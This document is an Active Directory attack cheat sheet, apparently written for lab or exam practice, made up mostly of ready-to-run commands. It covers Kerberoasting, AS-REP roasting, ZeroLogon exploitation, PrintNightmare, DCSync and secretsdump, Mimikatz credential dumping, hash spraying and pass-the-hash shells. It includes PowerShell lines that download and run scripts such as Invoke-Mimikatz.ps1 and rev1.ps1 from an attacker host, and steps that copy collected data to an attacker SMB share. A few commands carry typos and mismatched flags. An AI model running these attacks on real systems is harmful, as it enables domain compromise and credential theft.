

# Active Directory Attack Methodology

## Resources to Study and Reference

- [\[Tarlogic - Kerberos Attacks Guide\]](#)
- [\[Kerberos Exploitation Cheatsheet\]](#)
- [\[PowerSploit \(Post-Exploitation\)\]](#)
- [\[winPEAS \(Local Enumeration\)\]](#)

## Initial Enumeration

| Command                              | Purpose                           |
|--------------------------------------|-----------------------------------|
| <code>`whoami /all`</code>           | Current user and group privileges |
| <code>`net users /domain`</code>     | Enumerate all domain users        |
| <code>`net user john /domain`</code> | Detailed info on a specific user  |
| <code>`systeminfo`</code>            | System details incl. patch levels |

## Target Services to Enumerate

Focus on the following AD-related services:

| Service  | Tools/Methods                                        |
|----------|------------------------------------------------------|
| SMB      | enum4linux-ng, CrackMapExec, smbclient, Nmap scripts |
| LDAP     | ldapsearch, Nmap LDAP scripts, impacket-ldap tools   |
| RPC      | rpcclient, Nmap scripts, CrackMapExec, lookupsid     |
| Kerberos | kerbrute, GetNPUsers.py, ASREPROast, Kerberoasting   |

# Enumeration Tools & Tactics

## User Enumeration

| Tool                   | Use Case                                    |
|------------------------|---------------------------------------------|
| enum4linux-ng          | SMB enum, get users/groups/shares           |
| kerbrute               | Brute-force usernames via Kerberos          |
| impacket-lookupsid     | RID cycling to discover domain users        |
| crackmapexec rid-brute | Same as above but in CME framework          |
| rpcclient              | Query domain users and groups               |
| ldapsearch / Nmap      | LDAP querying of domain info (users/groups) |

Tip! Validate user enum across multiple tools. One tool might miss something another finds.

---

## Start Passive Collection

- **Start Responder early** → Catch hashes via LLMNR/NBTNS poisoning
  - **Optional:** Setup Inveigh on Windows targets
- 

## If You Get Hashes

Crack them using:

- hashcat (preferred for speed)
- John the Ripper

Store cracked creds, label them by privilege (e.g., user, admin)

---

## Re-Evaluate Enumeration

Stuck? Go back and check:

- Did you enumerate all services?

- Did you validate user presence through multiple tools?
- Do any usernames look like service accounts?

If it still feels dry, time to consider brute-forcing...

---

## Brute Forcing Credentials (Cautiously!)

Keep lockout policy in mind. If allowed, use:

| Tool            | Notes                                            |
|-----------------|--------------------------------------------------|
| <b>kerbrute</b> | Fast Kerberos brute-forcing, beware of lockouts  |
| <b>Hydra</b>    | For RDP, SMB, WinRM, etc.                        |
| <b>ncrack</b>   | Useful for common Windows services               |
| <b>Patator</b>  | Versatile brute-force tool, good lockout control |

Only proceed if you're confident accounts won't get locked out. Watch for honeypots too.

---

## Using Full Creds Across Services

Try valid creds on the following:

| Protocol | Tool(s)                   | Notes                     |
|----------|---------------------------|---------------------------|
| RDP      | xfreerdp, rdesktop        | GUI access                |
| WinRM    | Evil-WinRM, crackmapexec  | Great for remote PS shell |
| SMB      | psexec.py (Impacket), CME | Remote command exec       |
| RPC      | rpcclient                 | For further enumeration   |

If one fails, test others. One usually works.

---

## Post-Access Enumeration

### BloodHound:

- Run **SharpHound** (ingestor)
- Analyze with BloodHound GUI
- **Look for attack paths:** GPO abuse, ACL abuse, shadow admin paths

### From here, move into:

- Lateral movement
- Privilege escalation
- Token impersonation
- Delegation abuse

## Kerberos Attacks Summary

| Attack Type       | Tool(s)          | Summary                                          |
|-------------------|------------------|--------------------------------------------------|
| ASREPRoasting     | GetNPUsers.py    | Crackable hashes from no-preauth accounts        |
| Kerberoasting     | GetUserSPNs.py   | Extract service tickets tied to user accounts    |
| Pass-the-Ticket   | Mimikatz, Rubeus | Use captured tickets to auth elsewhere           |
| Overpass-the-Hash | Mimikatz         | NTLM hash > TGT > use via Rubeus or Mimikatz     |
| Golden Ticket     | Mimikatz         | Craft TGTs using krbtgt hash                     |
| Silver Ticket     | Mimikatz         | Craft TGS for specific service (less detectable) |

## Final Notes

- Always check **Group Policy**, **OU memberships**, and **ACLs** in BloodHound
- Rotate between stealth and loud methods depending on the environment

# Enumeration

## Overview

| Tool                 | Description                                                                  |
|----------------------|------------------------------------------------------------------------------|
| <b>enum4linux</b>    | Legacy tool for Windows and Samba enumeration using SMB and RPC protocols    |
| <b>enum4linux-ng</b> | Modern and improved rewrite of enum4linux with more features and flexibility |

## Why Use Both?

- enum4linux-ng can sometimes find different or more detailed information than the original.
- Running both can increase coverage and catch inconsistencies or missed data.
- Each may parse or handle anonymous/null sessions differently.

## Key Features of enum4linux-ng

- Scans **RPC** and **SMB**
- Retrieves **OS information**
- Discovers **domain names**
- Dumps **password policies**
- Enumerates **group policies**
- Gathers **userlists**

### Useful for:

- Password spraying
- Pass-the-hash
- ASREPROast / Kerberoast

## Usage Examples

| Command                                                        | Purpose                                 |
|----------------------------------------------------------------|-----------------------------------------|
| <code>`enum4linux-ng 10.10.253.194   tee enum4linux`</code>    | Basic run and output log                |
| <code>`enum4linux-ng -A 10.10.253.194   tee enum4linux`</code> | Aggressive all-in-one scan              |
| <code>`enum4linux -a \$IP`</code>                              | Run original tool with full enumeration |

## Session Types

→ Try **null sessions** and **guest sessions**

These are especially important for environments with weak configurations.

**Example:**

→ ``enum4linux-ng -A 10.10.253.194`` (will attempt anonymous access if no credentials are supplied)

## Output Highlights to Look For

- Domain name and NetBIOS info
- List of domain users and groups
- Group Policy Objects (GPOs)
- Local and domain password policies
- Shares and their permissions
- OS version and build (helpful for choosing exploits)
- **Session info:** last logons, logon counts, RID info

→ **GitHub:** <https://github.com/cddmp/enum4linux-ng>

# netexec - RID Brute Enumeration

## Purpose

Brute-forces RIDs to enumerate **user and group accounts** on a domain by walking the SID space. Very useful post-auth and **sometimes even without credentials**.

## Usage Table

| Command                                                                                                                                             | Description                                          |
|-----------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------|
| <code>`netexec smb 10.10.253.194 -u 'twilliams' -p 'roastpotatoes' --rid-brute   tee crackmapexec-rid-brute`</code>                                 | RID brute with valid user creds                      |
| <code>`netexec smb 10.10.253.194 -u 'guest' -p '' --rid-brute   tee crackmapexec-rid-brute`</code>                                                  | Attempt RID brute with guest/anonymous access        |
| <code>`netexec smb \$target -u 'guest' -p '' --rid-brute   grep -i 'sidtypeuser'   awk '{print \$6}'   cut -d '\' -f2   tee userlist2.txt`</code>   | Extract usernames only from RID brute output         |
| <code>`netexec smb \$target -u leicester.lawton -H 25cac0569934a5f6e01e9e440e0dce5b --users   awk '{print \$5}'   fgrep -v '['   tee users2`</code> | List all domain users using NTLM hash (no asterisks) |

## Tips

- Use after gaining **any domain credentials** (even low-priv user)
- Bruteforces **RID range to identify:**
  - Domain users
  - Domain groups
- Works well on weakly configured domains
- Guest or anonymous sometimes sufficient

# SID/RID Bruteforce & Username Enumeration

## ■ **impacket-lookupsid**

Bruteforces SIDs to discover domain users and groups using RPC - often works with anonymous or guest sessions.

### Usage

| Command                                                                | Description                                    |
|------------------------------------------------------------------------|------------------------------------------------|
| <code>impacket-lookupsid anonymous@10.10.212.32   tee usernames</code> | SID bruteforce using anonymous login           |
| <code>impacket-lookupsid "":""@10.10.200.245   tee usernames</code>    | Alternate syntax for anonymous login           |
| <code>impacket-lookupsid 'guest'@10.10.129.91</code>                   | Attempt SID bruteforce using guest credentials |

→ **Tool:** [Lookupsid Info](#)

---

## ■ **Kerbrute**

- Kerbrute performs **username enumeration via Kerberos** (not RPC).
- It sends **TGT requests without pre-authentication**. If the server asks for pre-auth, the username exists.
- Does **not cause account lockouts**, but always **be cautious during red team ops** - especially for honeypots.

### Install

| Command                                                   | Description                   |
|-----------------------------------------------------------|-------------------------------|
| <code>git clone https://github.com/roptop/kerbrute</code> | Clone the Kerbrute repository |

| Command                                       | Description                             |
|-----------------------------------------------|-----------------------------------------|
| <code>cd kerbrute</code>                      | Navigate into the Kerbrute directory    |
| <code>make all</code>                         | Build the Kerbrute binary               |
| <code>cp /opt/kerbrute/dist/kerbrute .</code> | Copy the built binary to current folder |

## Usage

| Command                                                                                                | Description                                  |
|--------------------------------------------------------------------------------------------------------|----------------------------------------------|
| <code>kerbrute userenum /usr/share/seclists/UsernameNames/names.txt --dc 10.10.86.201 -d THM-AD</code> | Enumerate usernames with Kerberos TGT probes |

## AD Username Generator

Generate possible **Active Directory** usernames from full names (e.g., "Julia Thompson") using common naming patterns.

## Usage

| Command                                                                          | Description                        |
|----------------------------------------------------------------------------------|------------------------------------|
| <code>git clone https://github.com/mohinparamasivam/AD-Username-Generator</code> | Clone the repo                     |
| <code>python3 username-generate.py -u names.txt -o generated_users.txt</code>    | Generate usernames from full names |

## LDAP Enumeration with Nmap

- **Reference:** [HackTricks - LDAP](#)
- **Use this to enumerate LDAP objects** like users, groups, domain policies, etc.

## Command

| Command                                                                 | Description               |
|-------------------------------------------------------------------------|---------------------------|
| <code>nmap -n -sV --script "ldap* and not brute" -p 389 \$target</code> | Run all safe LDAP scripts |

---

# BloodHound CE (Community Edition)

## Installation Requirements

| Command                                                            | Description                         |
|--------------------------------------------------------------------|-------------------------------------|
| <code>apt install docker.io</code>                                 | Install Docker                      |
| <code>apt install docker-compose</code>                            | Install Docker Compose              |
| <code>curl -L https://ghst.ly/getbhce -o docker-compose.yml</code> | Download BloodHound CE compose file |
| <code>docker-compose pull &amp;&amp; docker-compose up -d</code>   | Pull and start containers           |
| <code>docker-compose logs bloodhound   grep -i passw</code>        | Retrieve auto-generated password    |

- After launching, access the UI:
- Visit: <http://127.0.0.1:8080>
- Username: admin
- Password: (retrieved from the docker-compose logs command above)

---

## Ingest Data into BloodHound

| Command                                                                                                                  | Description                              |
|--------------------------------------------------------------------------------------------------------------------------|------------------------------------------|
| <code>netexec ldap \$target -u SQLService -p 'MYpassword123#' --bloodhound --collection All --dns-server \$target</code> | Collect and send LDAP data to BloodHound |

- Requires valid credentials.
- Collects information like:
  - Domain trusts
  - Sessions
  - ACLs
  - Group memberships
  - SPNs

→ GPOs

→ Cypher Queries Guide: [BloodHound Enterprise - Searching with Cypher](#)

---

## adPEAS & Impacket-Based Attacks

---

### adPEAS.ps1 - AD Enumeration via PowerShell

| Command                                                                                                                                 | Description                          |
|-----------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------|
| <code>`powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.8.24.10/adPEAS.ps1');Invoke-adPEAS`</code> | Download and run `adPEAS.ps1` script |
| Repo: <a href="#">adPEAS GitHub</a>                                                                                                     | PowerShell AD enumeration tool       |

---

### Time Sync Issues (IMPORTANT for Impacket Tools)

If your **time is out of sync**, Kerberos-related Impacket tools might fail. Try these:

| Command                                   | Purpose                          |
|-------------------------------------------|----------------------------------|
| <code>`rdate -n 10.10.10.100`</code>      | Set time from remote IP          |
| <code>`ntpddate vulnnet-rst.local`</code> | Sync time with domain controller |

| Command                              | Purpose                                      |
|--------------------------------------|----------------------------------------------|
| <code>`ntpddate pool.ntp.org`</code> | Sync with public NTP server (use repeatedly) |

- **Trick:** Try running ``ntpddate vulnnet-rst.local`` and ``ntpddate pool.ntp.org`` in between each Impacket run.
- Sometimes just pausing your VM and waiting helps.
- See this useful tip: [Zweilosec APT Note](#)

## Kerberoasting - GetUserSPNs

| Command                                                                                               | Description                                         |
|-------------------------------------------------------------------------------------------------------|-----------------------------------------------------|
| <code>`impacket-GetUserSPNs -dc-ip 10.10.66.150 'vulnnet-rst.local/t-skid:tj072889*' -request`</code> | Request SPNs and capture TGS hash for kerberoasting |

- **Goal:** Obtain TGS tickets that can be cracked to recover service account passwords.
- These may reveal higher privilege accounts.

## Secretsdump - NTLM Hash Extraction

| Command                                                                                      | Description                                        |
|----------------------------------------------------------------------------------------------|----------------------------------------------------|
| <code>`impacket-secretsdump -just-dc-ntlm vulnnet-rst.local/a-whitehat@10.10.176.223`</code> | Dumps NTLM hashes from Domain Controller (DC only) |

- Use with valid credentials.
- Try ``-just-dc`` or ``-just-dc-ntlm`` for focused dumping.

## AS-REP Roasting - GetNPUsers

- **Only works** if the target user has **pre-authentication disabled** in Kerberos.

- Requires a **user list** (e.g. from `enum4linux`, `kerbrute`, etc.)
- You get a hash back for each vulnerable user that you can crack.

| Command                                                                                                          | Description                             |
|------------------------------------------------------------------------------------------------------------------|-----------------------------------------|
| <code>`impacket-GetNPUsers test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -outputfile hashes.txt`</code> | Attempts to get AS-REP roastable hashes |

- **After harvesting:**
  - Crack using Hashcat, John, or online resources (e.g. CrackStation)

## Netexec (CrackMapExec) with Kerberos

| Command                                                                   | Description                          |
|---------------------------------------------------------------------------|--------------------------------------|
| <code>`netexec smb \$target -u usernames -p '' -d domain.local -k`</code> | Attempt Kerberos auth with user list |

- Good for testing valid usernames with no password using Kerberos.
- Use after collecting usernames from `kerbrute`, `enum4linux`, etc.

## Summary of Useful Impacket Commands

| Tool                       | Purpose                                                  |
|----------------------------|----------------------------------------------------------|
| <code>`GetUserSPNs`</code> | Kerberoasting - get TGS tickets from service accounts    |
| <code>`GetNPUsers`</code>  | AS-REP Roasting - get hashes from users without pre-auth |
| <code>`secretsdump`</code> | Dump NTLM hashes from DC or accessible system            |

# Impacket Tools Overview

---

## Secretsdump

| Command                                                                                                | Description                              |
|--------------------------------------------------------------------------------------------------------|------------------------------------------|
| <code>`impacket-secretsdump -just-dc-ntlm vulnnet-rst.local/a-whitehat@10.10.176.223`</code>           | Dumps all accessible NTLM hashes from DC |
| <code>`impacket-secretsdump -just-dc-ntlm vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@\$target`</code> | Same command with password included      |

---

## Lookupsid

| Command                                               | Description                                |
|-------------------------------------------------------|--------------------------------------------|
| <code>`impacket-lookupsid "":""@10.10.200.245`</code> | Checks for SIDs via RPC using null session |

- Useful for discovering more users when credentials are limited.
  - Can be helpful if the initial account only has RPC access.
  - Remember you can also enumerate RID with CrackMapExec.
- 

## Rpcdump

| Command                                                          | Description               |
|------------------------------------------------------------------|---------------------------|
| <code>`impacket-rpcdump vulnnet.local/"":""@10.10.36.200`</code> | RPC dump using null login |

- Effectiveness is uncertain, but worth trying.
-

## Psexec

| Command                                                                                                        | Description                            |
|----------------------------------------------------------------------------------------------------------------|----------------------------------------|
| <code>`impacket-psexec RALPH/Administrator@10.11.1.31 - hashes :f58b86e89c8631e432cf1a034662853f`</code>       | Remote execution with hash-based login |
| <code>`rlwrap impacket-psexec RALPH/Administrator@10.11.1.31 -hashes :f58b86e89c8631e432cf1a034662853f`</code> | Same with `rlwrap` for better shell    |

## Wmiexec

| Command                                                                                                    | Description                        |
|------------------------------------------------------------------------------------------------------------|------------------------------------|
| <code>`rlwrap impacket-wmiexec Administrator@10.11.1.24 - hashes :ee0c207898a5bccc01f38115019ca2fb`</code> | Remote execution via WMI with hash |

## Smbserver

| Command                                                                          | Description                                      |
|----------------------------------------------------------------------------------|--------------------------------------------------|
| <code>`impacket-smbserver share ./ - smb2support`</code>                         | Run SMB server with SMB2 support (avoids errors) |
| <code>`impacket-smbserver share ./ - smb2support -user vk9guest -pass ```</code> | Run SMB server with user and empty password      |
| <code>`impacket-smbserver share ./ - smb2support -user test -pass ```</code>     | Alternative user with empty password             |

## Using SMB Shares

| Action                                        | Command                                                 |
|-----------------------------------------------|---------------------------------------------------------|
| Connect to the share if previous errors occur | <code>net use \192.168.119.231\share /USER\:test</code> |
| Copy file from attacking machine to victim    | <code>copy \192.168.119.168\share\SharpHound.exe</code> |

| Action                                       | Command                                                                     |
|----------------------------------------------|-----------------------------------------------------------------------------|
| Run binary directly from SMB share (no disk) | <code>\192.168.119.168\share\winPEASany.exe</code>                          |
| Copy files from victim to your SMB share     | <code>copy 20220424074629\_BloodHound.zip<br/>\192.168.119.213\share</code> |
| Disconnect all SMB shares                    | <code>net use \* /del /y</code>                                             |

# ZeroLogon Attack

## INITIAL ENUMERATION

| Purpose                           | Command                                 |
|-----------------------------------|-----------------------------------------|
| Get NetBIOS and DNS name          | <code>nmap -T5 10.11.1.120 -A -v</code> |
| ⚠ Be cautious - can harm prod env | <i>Only use if safe and isolated</i>    |

## EXPLOIT IF VULNERABLE

| Purpose                  | Command                                                       |
|--------------------------|---------------------------------------------------------------|
| Set empty password on DC | <code>python3 set_empty_pw.py ZERO-DC 172.31.1.29</code>      |
| Dump all hashes from DC  | <code>secretsdump.py 'Zero.csl0/ZERO-DC\$@172.31.1.29'</code> |

## POST-EXPLOIT ACCESS (HASH-BASED)

| Method                    | Command                                                                                                                    |
|---------------------------|----------------------------------------------------------------------------------------------------------------------------|
| psexec login              | <code>psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:36242e2cb0b26d16fafd267f39ccf990 Administrator@172.31.1.29</code> |
| evil-winrm hash login     | <code>evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.186.150</code>                             |
| evil-winrm password login | <code>evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.186.150</code>                             |

---

## Alternative ZeroLogon Exploit Script

| Purpose                        | Command                                                                                           |
|--------------------------------|---------------------------------------------------------------------------------------------------|
| GitHub reference               | <a href="https://github.com/dirkjanm/CVE-2020-1472">https://github.com/dirkjanm/CVE-2020-1472</a> |
| Run exploit                    | <code>python3 cve-2020-1472-exploit.py 'SV-DC01\$' 10.11.1.20</code>                              |
| Dump hashes if successful      | <code>impacket-secretsdump -just-dc-ntlm -no-pass 'svcorp/SV-DC01\$@10.11.1.20'</code>            |
| Alt dump with different domain | <code>impacket-secretsdump 'xor.com/XOR-DC01\$@10.11.1.120' -just-dc-ntlm -no-pass</code>         |

---

## DCSync Attack

| Purpose                       | Command                                                                                    |
|-------------------------------|--------------------------------------------------------------------------------------------|
| DCSync using compromised user | <code>impacket-secretsdump -just-dc-ntlm vulnnet-rst.local/a-whitehat@10.10.176.223</code> |
| Note                          | Use if you cannot SMB/WinRM into DC                                                        |

---

## PrintNightmare (CVE-2021-1675)

| Purpose                       | Command                                                                                                   |
|-------------------------------|-----------------------------------------------------------------------------------------------------------|
| GitHub reference              | <a href="https://github.com/calebstewart/CVE-2021-1675">https://github.com/calebstewart/CVE-2021-1675</a> |
| Check spoolsv.exe permissions | <code>icacls.exe "C:\Windows\System32\spoolsv.exe"</code>                                                 |
| Run exploit from SMB share    | <code>powershell -ep bypass . \10.13.31.108\share\CVE-2021-1675.ps1;Invoke-Nightmare</code>               |

---

## Mimikatz & Hashdump

### DOWNLOAD AND EXECUTE MIMIKATZ

| Purpose                   | Command                                                                                                                                             |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| Download & run in memory  | <code>powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.11.134.159/Invoke-Mimikatz.ps1');Invoke-Mimikatz</code> |
| Alternative memory loader | <code>powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.11.134.159/rev1.ps1')</code>                                            |

### USEFUL COMMANDS INSIDE MIMIKATZ

| Function              | Command                          |
|-----------------------|----------------------------------|
| Elevate privileges    | <code>privilege::debug</code>    |
| Steal elevated tokens | <code>token::elevate</code>      |
| LSA dump              | <code>lsadump::lsa /patch</code> |
| Dump SAM hashes       | <code>lsadump::sam</code>        |

| Function           | Command                        |
|--------------------|--------------------------------|
| Dump secrets       | lsadump::secrets               |
| Logged in creds    | sekurlsa::logonpasswords       |
| Full logon details | sekurlsa::logonpasswords /full |
| Kerberos tickets   | kerberos::list /export         |

## ALTERNATIVE MIMIKATZ BINARY

| Purpose                  | Link                                                                                            |
|--------------------------|-------------------------------------------------------------------------------------------------|
| Repo for raw exe version | <a href="https://github.com/caday00/mimikatz2.1.1">https://github.com/caday00/mimikatz2.1.1</a> |
| Local path (if cloned)   | /opt/mimikatz2.1.1/                                                                             |
| Example usage            | mimikatz64.exe "privilege::debug"<br>"lsadump::sam" "exit"                                      |

# Pass-The-Hash & Post-Hash Exploitation

## References

| Resource                | Link                                                                                                                      |
|-------------------------|---------------------------------------------------------------------------------------------------------------------------|
| CrackMapExec (cme) Docs | <a href="https://ptestmethod.readthedocs.io/en/latest/cme.html">https://ptestmethod.readthedocs.io/en/latest/cme.html</a> |

## Username Enumeration

| Tool       | Command                                      |
|------------|----------------------------------------------|
| enum4linux | Use to enumerate all usernames on the domain |
| Windows    | net users /domain                            |

## Password Spraying With NTLM Hash

| Tool         | Command                                                                                                                          |
|--------------|----------------------------------------------------------------------------------------------------------------------------------|
| CrackMapExec | <code>crackmapexec smb 192.168.231.0/24 -u users.txt -H aad3b435b51404eeaad3b435b51404ee:36242e2cb0b26d16fafd267f39ccf990</code> |

---

## Login With Recovered Hashes

| Tool                    | Command                                                                                          |
|-------------------------|--------------------------------------------------------------------------------------------------|
| psexec (hash login)     | <code>impacket-psexec administrator@172.31.1.29 -hashes :36242e2cb0b26d16fafd267f39ccf990</code> |
| evil-winrm (hash login) | <code>evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.186.150</code>   |

---

## Organizing Hashes for Spray

| Step                      | Description                                                                                                                                                     |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1. Save Mimikatz output   | Copy sekurlsa::logonpasswords result to file weee                                                                                                               |
| 2. Extract unique hashes  | <code>cat weee   sort   uniq   grep -i ntlm &gt; hashes.txt</code>                                                                                              |
| 3. Build user list        | Use net users /domain, clean list via <a href="https://design215.com/toolbox/wordlist.php">https://design215.com/toolbox/wordlist.php</a> and save as users.txt |
| 4. Prepare target IP list | Example in iplist.txt:<br>10.11.1.123<br>10.11.1.122<br>10.11.1.121<br>10.11.1.120                                                                              |

## CrackMapExec Spray (SMB & WinRM)

| Command                                                                                                 | Notes                             |
|---------------------------------------------------------------------------------------------------------|-----------------------------------|
| <code>crackmapexec smb iplist.txt -u users.txt -H hashes.txt   tee cme_xor_smb.txt</code>               | SMB brute force                   |
| <code>crackmapexec winrm iplist.txt -u users.txt -H hashes.txt   tee cme_xor_winrm.txt</code>           | WinRM brute force                 |
| <code>crackmapexec smb svcorp_ip -u uniq_user -H uniq_hash --local-auth   tee cme_svcorp_smb.txt</code> | With --local-auth for local creds |

### POST-SPRAY

| Task                            | Command                                           |
|---------------------------------|---------------------------------------------------|
| Find valid creds                | <code>cat cme_xor_smb.txt   grep -b '+'</code>    |
| Rotate users to avoid detection | Move successful users to bottom of list and retry |

## Remote Hashdump & Brute-Force

### Dumping Hashes With NetExec

| Purpose                                  | Command                                                                                                                                        |
|------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------|
| Dump SAM (local admin)                   | <code>netexec smb 10.10.175.62 -u 'user1' -p 'Password1!' --sam   fgrep -v '['   awk -F: '{print \$4}'   tee dumped_hashes.txt</code>          |
| Dump LSASS (local admin)                 | <code>netexec smb 10.10.175.62 -u 'user1' -p 'Password1!' -M lsassy   fgrep -v '['   awk '{print \$6}' &gt;&gt; dumped_hashes.txt</code>       |
| Alternate LSASS method                   | <code>netexec smb 10.10.175.62 -u 'user1' -p 'Password1!' --lsa</code>                                                                         |
| Dump NTDS.dit (domain/local admin on DC) | <code>netexec smb 10.10.175.62 -u 'user1' -p 'Password1!' -M ntdsutil   fgrep -v '['   awk -F: '{print \$4}' &gt;&gt; dumped_hashes.txt</code> |
| Dump NTDS via Impacket                   | <code>impacket-secretsdump 'user1':'Password1!'@10.10.175.62 -just-dc-ntlm -outfile test.txt</code>                                            |

## Cracking Hashes With John

| Step                      | Command                                                                                     |
|---------------------------|---------------------------------------------------------------------------------------------|
| Crack NTDS dump           | <code>john test.txt.ntds --wordlist=/usr/share/wordlists/rockyou.txt --format=NT</code>     |
| Clean deduplicated hashes | <code>awk 'NF {print \$1}' dumped_hashes.txt   sort   uniq   tee unique_hashes.txt</code>   |
| Crack cleaned hash list   | <code>john unique_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT</code> |

---

## Enumerate Domain Users With RID Brute

| Purpose                       | Command                                                                                                                                                    |
|-------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------|
| List all users from RID brute | <code>netexec smb 10.10.175.62 -u 'user1' -p 'Password1!' --rid-brute   grep -i 'sidtypeuser'   awk '{print \$6}'   cut -d '\\' -f2   tee users.txt</code> |

---

## Bruteforce All Hashes vs All Users

| Protocol | Command                                                                                         |
|----------|-------------------------------------------------------------------------------------------------|
| SMB      | <code>netexec smb 10.10.175.62 -u users.txt -H unique_hashes.txt --continue-on-success</code>   |
| WinRM    | <code>netexec winrm 10.10.175.62 -u users.txt -H unique_hashes.txt --continue-on-success</code> |
| LDAP     | <code>netexec ldap 10.10.175.62 -u users.txt -H unique_hashes.txt --continue-on-success</code>  |
| WMI      | <code>netexec wmi 10.10.175.62 -u users.txt -H unique_hashes.txt --continue-on-success</code>   |

---

## Gaining Shell Access

| Method            | Command                                                                                                      |
|-------------------|--------------------------------------------------------------------------------------------------------------|
| Over SMB (psexec) | <code>impacket-psexec corp.local/Administrator@10.10.175.62 -hashes :bd839bd6be092b794013e25068820d15</code> |
| Over WINRM        | <code>evil-winrm -u Administrator -H 'bd839bd6be092b794013e25068820d15' -i 10.10.175.62</code>               |

| Method       | Command                                                                                                        |
|--------------|----------------------------------------------------------------------------------------------------------------|
| Over RPC/WMI | <code>impacket-wmiexec corp.local/Administrator@10.10.175.62 - hashes :bd839bd6be092b794013e25068820d15</code> |

## Kerberoasting Workflow Overview

### TOOLS & RESOURCES

| Tool                        | Purpose                                      | Link                                                                                                                                                                              |
|-----------------------------|----------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Kerberoast                  | Python-based Kerberoasting tool              | <a href="https://github.com/nidem/kerberoast">https://github.com/nidem/kerberoast</a>                                                                                             |
| Rubeus                      | Kerberos abuse tool (compiled binaries)      | <a href="https://github.com/r3m0tecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe">https://github.com/r3m0tecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe</a> |
| Rubeus Docs                 | SpecterOps command reference                 | <a href="https://specterops.gitbook.io/ghostpack/rubeus/introduction/command-line-usage">https://specterops.gitbook.io/ghostpack/rubeus/introduction/command-line-usage</a>       |
| Impacket                    | Python networking suite                      | <a href="https://github.com/SecureAuthCorp/impacket">https://github.com/SecureAuthCorp/impacket</a>                                                                               |
| HTB Writeup (APT)           | Troubleshooting time sync issues             | <a href="https://zweilosec.gitbook.io/htb-writeups/windows-machines/insane/apt">https://zweilosec.gitbook.io/htb-writeups/windows-machines/insane/apt</a>                         |
| Windows Kerberoasting Video | Demonstration on Windows                     | <a href="https://www.youtube.com/watch?v=beRDcvBwTBw">https://www.youtube.com/watch?v=beRDcvBwTBw</a>                                                                             |
| Stealthbits ATTACK site     | Info on Kerberoasting and related techniques | <a href="https://attack.stealthbits.com/">https://attack.stealthbits.com/</a>                                                                                                     |

### POWERSHELL - GET SPNS

| Step                | Command                                                                                                                                                                       |
|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Run GetUserSPNs.ps1 | <code>powershell -c .\GetUserSPNs.ps1</code>                                                                                                                                  |
| Trigger SPN request | <code>Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/xor-app23.xor.com:1433"</code> |

## MIMIKATZ USAGE (WINDOWS)

| Step              | Command                  |
|-------------------|--------------------------|
| Enable Debug Priv | privilege::debug         |
| Elevate Token     | token::elevate           |
| Export Tickets    | kerberos::list /export   |
| Dump LSASS        | lsadump::lsa /patch      |
| Dump SAM          | lsadump::sam             |
| View Credentials  | sekurlsa::logonpasswords |

---

## CONVERT .KIRBI TO JOHN FORMAT

| Step                          | Command                                                                                                        |
|-------------------------------|----------------------------------------------------------------------------------------------------------------|
| Convert a specific kirbi file | python3 kirbi2john.py 3-40a10000-xor-app59\ \$@MSSQLSvc\~xor-app23.xor.com\~1433-XOR.COM.kirbi -o MSSQLSvc.txt |
| Convert all kirbi files       | python3 kirbi2john.py *.kirbi -o MSSQLSvc.txt                                                                  |

---

## CRACK KERBEROAST HASHES

| Step             | Command                                                               |
|------------------|-----------------------------------------------------------------------|
| Crack using John | john MSSQLSvc.txt --wordlist=/usr/share/wordlists/rockyou.txt         |
| Note             | If any hash contains a ":" and cracking fails, try removing the colon |

## PREFERRED METHOD - RUBEUS (WINDOWS)

| Step                   | Command                                                                                                                                                                                    |
|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Download Rubeus        | wget [ <a href="https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe">https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe</a> ] |
| Dump Kerberoast Hashes | .\Rubeus.exe kerberoast /outfile:hashes.txt                                                                                                                                                |
| Transfer to Kali       | Copy hashes.txt to Kali                                                                                                                                                                    |
| Crack Hashes           | Use kirbi2john.py and john as shown above                                                                                                                                                  |

## IMPACKET - REMOTE KERBEROASTING

| Step                          | Command                                                                                |
|-------------------------------|----------------------------------------------------------------------------------------|
| Fix time sync issues          | rdate -n 10.10.10.100 or ntpdate vulnnet-rst.local                                     |
| Retry method (if sync fails)  | Spam ntpdate pool.ntp.org and ntpdate vulnnet-rst.local between runs                   |
| Run SPN dump with credentials | impacket-GetUserSPNs -dc-ip 10.10.66.150 'vulnnet-rst.local/t-skid:tj072889*' -request |

## Asrep-roasting

| Description                                                                             | Notes                                                                                                                                                                                                                              |
|-----------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Attack targets users with pre-authentication disabled when requesting TGT from Kerberos | After getting a list of usernames on the domain (using tools like enum4linux), supply this list to get a hash back                                                                                                                 |
| Get usernames list                                                                      | enum4linux -U                                                                                                                                                                                                                      |
| ASREP Roasting command (Impacket)                                                       | impacket-GetNPUsers -dc-ip 10.10.66.150 vulnnet-rst.local/ -usersfile refined_usernames                                                                                                                                            |
